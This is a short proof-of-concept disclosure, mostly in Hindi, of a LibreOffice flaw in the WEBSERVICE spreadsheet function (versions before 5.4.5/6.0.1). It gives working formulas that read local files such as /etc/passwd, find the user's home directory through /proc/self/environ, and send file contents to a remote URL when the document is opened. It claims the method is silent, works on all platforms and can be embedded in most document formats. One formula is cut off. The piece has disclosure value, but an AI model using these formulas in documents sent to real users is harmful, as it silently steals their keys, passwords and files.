
Proof of concept of LibreOffice remote arbitrary file disclosure vulnerability
LibreOffice COM.MICROSOFT.WEBSERVICE फ़ंक्शन का समर्थन करता है:
https://support.office.com/en-us/article/webservice-function-0546a35a-ecc6-4739-aed7-c0b7ce1562c4
यह फ़ंक्शन URL से डेटा प्राप्त करने के लिए आवश्यक है, जिसे आमतौर पर इस प्रकार उपयोग किया जाता है:
=FILTERXML(WEBSERVICE("http://api.openweathermap.org/data/2.5/forecast?q=Copenhagen,dk&mode=xml&units=metric");"number(/weatherdata/forecast/time[2]/temperature/@value)")
मूल में:
जो प्रोटोकॉल समर्थित नहीं हैं, जैसे कि ftp: // या file: //, उनके लिए WEBSERVICE #VALUE! त्रुटि मान लौटाता है।
LibreOffice में, 5.4.5/6.0.1 से पहले ये प्रतिबंध लागू नहीं किए गए हैं।
डिफ़ॉल्ट रूप से सेल अपडेट नहीं होते हैं, लेकिन यदि आप ~error जैसा सेल प्रकार निर्दिष्ट करते हैं, तो दस्तावेज़ खोलने पर सेल अपडेट हो जाएगा।
फ़ाइल पढ़ने के लिए आपको बस यह चाहिए:
=WEBSERVICE("/etc/passwd")
इस फ़ंक्शन का उपयोग फ़ाइल भेजने के लिए भी किया जा सकता है:
=WEBSERVICE("http://localhost:6000/?q=" & WEBSERVICE("/etc/passwd"))
सफल संचालन के लिए, आपको वर्तमान उपयोगकर्ता की फ़ाइलें भेजनी होंगी, इसलिए आपको वर्तमान उपयोगकर्ता का होम पथ प्राप्त करना होगा।
=MID(WEBSERVICE("/proc/self/environ"), FIND("USER=", WEBSERVICE("/proc/self/environ")) + 5, SEARCH(CHAR(0), WEBSERVICE("/proc/self/environ"), FIND("USER=", WEBSERVICE("/proc/self/environ")))-FIND("USER=",
आप अन्य फ़ाइलों को भी पार्स कर सकते हैं, जैसे ~/.ssh/config या उसी प्रकार की कोई चीज़।
LibreOffice Calc प्रारूपों के अलावा अन्य के लिए, आपको बस calc ऑब्जेक्ट को अन्य दस्तावेज़ में एम्बेड करना होगा (मैंने जाँच लिया है कि यह काम करता है)।
कुंजियों, पासवर्ड और किसी भी अन्य चीज़ के साथ किसी भी फ़ाइल को भेजना आसान है। 100% सफलता दर, बिल्कुल मौन, सभी ऑपरेटिंग सिस्टम (GNU/Linux, MS Windows, macOS आदि) में 5.4.5/6.0.1 से पहले के LibreOffice को प्रभावित करता है और LO द्वारा समर्थित लगभग सभी प्रारूपों में एम्बेड किया जा सकता है।
यह भेद्यता मेरे द्वारा (@jollheef) और Ronnie Goodrich && Andrew Krasichkov द्वारा स्वतंत्र रूप से पाई गई थी (LibreOffice टीम के नोट्स के अनुसार)।